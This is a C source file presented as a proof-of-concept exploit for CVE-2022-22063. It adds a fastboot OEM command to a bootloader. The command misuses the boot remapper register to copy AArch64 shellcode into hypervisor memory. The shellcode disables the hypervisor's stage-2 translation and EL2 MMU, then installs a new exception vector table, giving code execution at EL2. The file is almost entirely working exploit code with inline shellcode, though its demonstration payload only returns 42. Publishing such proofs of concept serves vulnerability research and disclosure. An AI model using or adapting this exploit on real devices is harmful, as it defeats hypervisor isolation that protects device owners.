CVE-2022-22063.c

/* SPDX-License-Identifier: MIT */
/*
 * Proof of concept code for CVE-2022-22063
 * Copyright (c) 2021-2022 Stephan Gerhold
 *
 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:
 *
 * The above copyright notice and this permission notice shall be included in
 * all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
 * THE SOFTWARE.
 */

#include <arch/defines.h>
#include <bits.h>
#include <endian.h>
#include <fastboot.h>
#include <printf.h>
#include <reg.h>
#include <string.h>

#define BOOT_REMAP_BASE			0x00000000
#define BOOT_REMAP_SIZE			(128 * 1024)	/* 128 KiB */
#define BOOT_REMAP_END			(BOOT_REMAP_BASE + BOOT_REMAP_SIZE)

#define HYP_BASE			0x86400000
#define HYP_NEW_VBAR			(HYP_BASE + 0x00000)

/* System Control Register (EL2) */
#define SCTLR_EL2_I			BIT(12)	/* Enable instruction cache */
#define SCTLR_EL2_C			BIT(2)	/* Enable data cache */
#define SCTLR_EL2_M			BIT(0)	/* Enable EL2 MMU */

#define APCS_BOOT_START_ADDR_NSEC	0x0b010008
#define BOOT_128KB_EN			BIT(2)
#define REMAP_EN			BIT(0)

typedef uint32_t a64_instruction_t;

struct aarch64_exc_vec_row {
	a64_instruction_t sync[32];
	a64_instruction_t irq[32];
	a64_instruction_t fiq[32];
	a64_instruction_t serror[32];
};
struct aarch64_exc_vec_table {
	struct aarch64_exc_vec_row current_el_sp_el0;
	struct aarch64_exc_vec_row current_el_sp_elx;
	struct aarch64_exc_vec_row lower_el_aarch64;
	struct aarch64_exc_vec_row lower_el_aarch32;
};

/* Hypervisor Call */
static int hvc(unsigned long x0, unsigned long x1)
{
	register unsigned long r0 __asm__("r0") = x0;
	register unsigned long r1 __asm__("r1") = x1;

	__asm__ volatile(
		".arch_extension virt\n"
		"hvc	#0\n"
		: "+r" (r0), "+r" (r1) : : "r2", "r3"
	);
	return r0;
}

static void invalidate_instruction_cache(void)
{
	__asm__ volatile ("mcr p15, 0, %0, c7, c5, 0" : : "r" (0)); /* ICIALLU */
}

static a64_instruction_t hyp_shellcode[] =
{
	/* Disable stage 2 address translation and hypervisor traps */
	LE32(0xd51c111f),	/* msr	hcr_el2, xzr */
	/* Clear upper 32-bit in 64-bit registers */
	LE32(0x92407c00),	/* and	x0, x0, #0xffffffff */
	LE32(0x92407c21),	/* and	x1, x1, #0xffffffff */
	/* Clear system control bits to disable EL2 MMU and caches */
	LE32(0xd53c1002),	/* mrs	x2, sctlr_el2 */
	LE32(0x8a200042),	/* bic	x2, x2, x0 */
	LE32(0xd51c1002),	/* msr	sctlr_el2, x2 */
	/* Save original vector table base address (return in x0) */
	LE32(0xd53cc000),	/* mrs	x0, vbar_el2 */
	/* Load new vector table base address */
	LE32(0xd51cc001),	/* msr	vbar_el2, x1 */
	/* Return */
	LE32(0xd69f03e0),	/* eret */
};

static a64_instruction_t hyp_answer[] =
{
	LE32(0xd2800540),	/* mov	x0, #42 */
	LE32(0xd69f03e0),	/* eret */
};

static int hvc_answer_ultimate_question(void)
{
	fastboot_info("Hypervisor, what is the Answer to The Ultimate Question of");
	fastboot_info("Life, the Universe and Everything?");
	return hvc(0x8600baad, (uintptr_t)
		   "The Ultimate Question of Life, the Universe and Everything");
}

#define fastboot_printf(type, fmt, ...) do { \
	char fb_message[MAX_RSP_SIZE]; \
	snprintf(fb_message, sizeof(fb_message), (fmt), ##__VA_ARGS__); \
	fastboot_##type(fb_message); \
} while (0);

void cmd_oem_cve_2022_22063(const char *arg, void *data, unsigned sz)
{
	struct aarch64_exc_vec_table *table;
	unsigned long addr;
	int ret;

	ret = hvc_answer_ultimate_question();
	fastboot_printf(info, "Old hypervisor returned answer: %d", ret);

	addr = readl(APCS_BOOT_START_ADDR_NSEC);
	fastboot_printf(info, "Old non-secure boot remapper base address: %#lx", addr);

	addr = HYP_BASE;
	fastboot_printf(info, "Setting boot remapper to hypervisor memory (%#lx)", addr);
	writel(addr | REMAP_EN | BOOT_128KB_EN, APCS_BOOT_START_ADDR_NSEC);
	dsb(); /* Ensure write has completed before continuing */

	fastboot_printf(info, "Using boot remapper to copy shell code to hypervisor memory");
	table = (struct aarch64_exc_vec_table *)BOOT_REMAP_BASE;
	fastboot_printf(info, "Copying to all possible vector tables (starting at %p)",
			table->lower_el_aarch32.sync);
	for (; table < (struct aarch64_exc_vec_table *)BOOT_REMAP_END; table++)
		memcpy(table->lower_el_aarch32.sync, hyp_shellcode, sizeof(hyp_shellcode));

	/* Ensure CPU does not execute stale code in EL2 */
	invalidate_instruction_cache();

	fastboot_printf(info, "Calling shell code to disable running hypervisor");
	ret = hvc(SCTLR_EL2_I | SCTLR_EL2_C | SCTLR_EL2_M, HYP_NEW_VBAR);
	if (ret & (sizeof(*table) - 1)) {
		fastboot_printf(fail, "HVC to shell code failed: %d", ret);
		return;
	}
	fastboot_printf(info, "Found old EL2 vector base address at %#x", ret);

	/*
	 * Hypervisor stage 2 address translation and cache is now disabled,
	 * so new code can be directly written to the hypervisor memory.
	 */
	table = (struct aarch64_exc_vec_table *)HYP_NEW_VBAR;
	fastboot_printf(info, "Copying new code directly to hypervisor memory (%p)", table);
	memset(table, 0, sizeof(*table));
	memcpy(table->lower_el_aarch32.sync, hyp_answer, sizeof(hyp_answer));

	/*
	 * Invalidating the instruction cache is not necessary here.
	 * The instruction cache in EL2 was disabled by the shell code
	 * and the hypervisor memory region is mapped as write-through in LK.
	 */

	ret = hvc_answer_ultimate_question();
	if (ret <= 0) {
		fastboot_printf(fail, "New hypervisor returned error: %d", ret);
		return;
	}
	fastboot_printf(info, "New hypervisor returned answer: %d", ret);
	fastboot_okay("");
}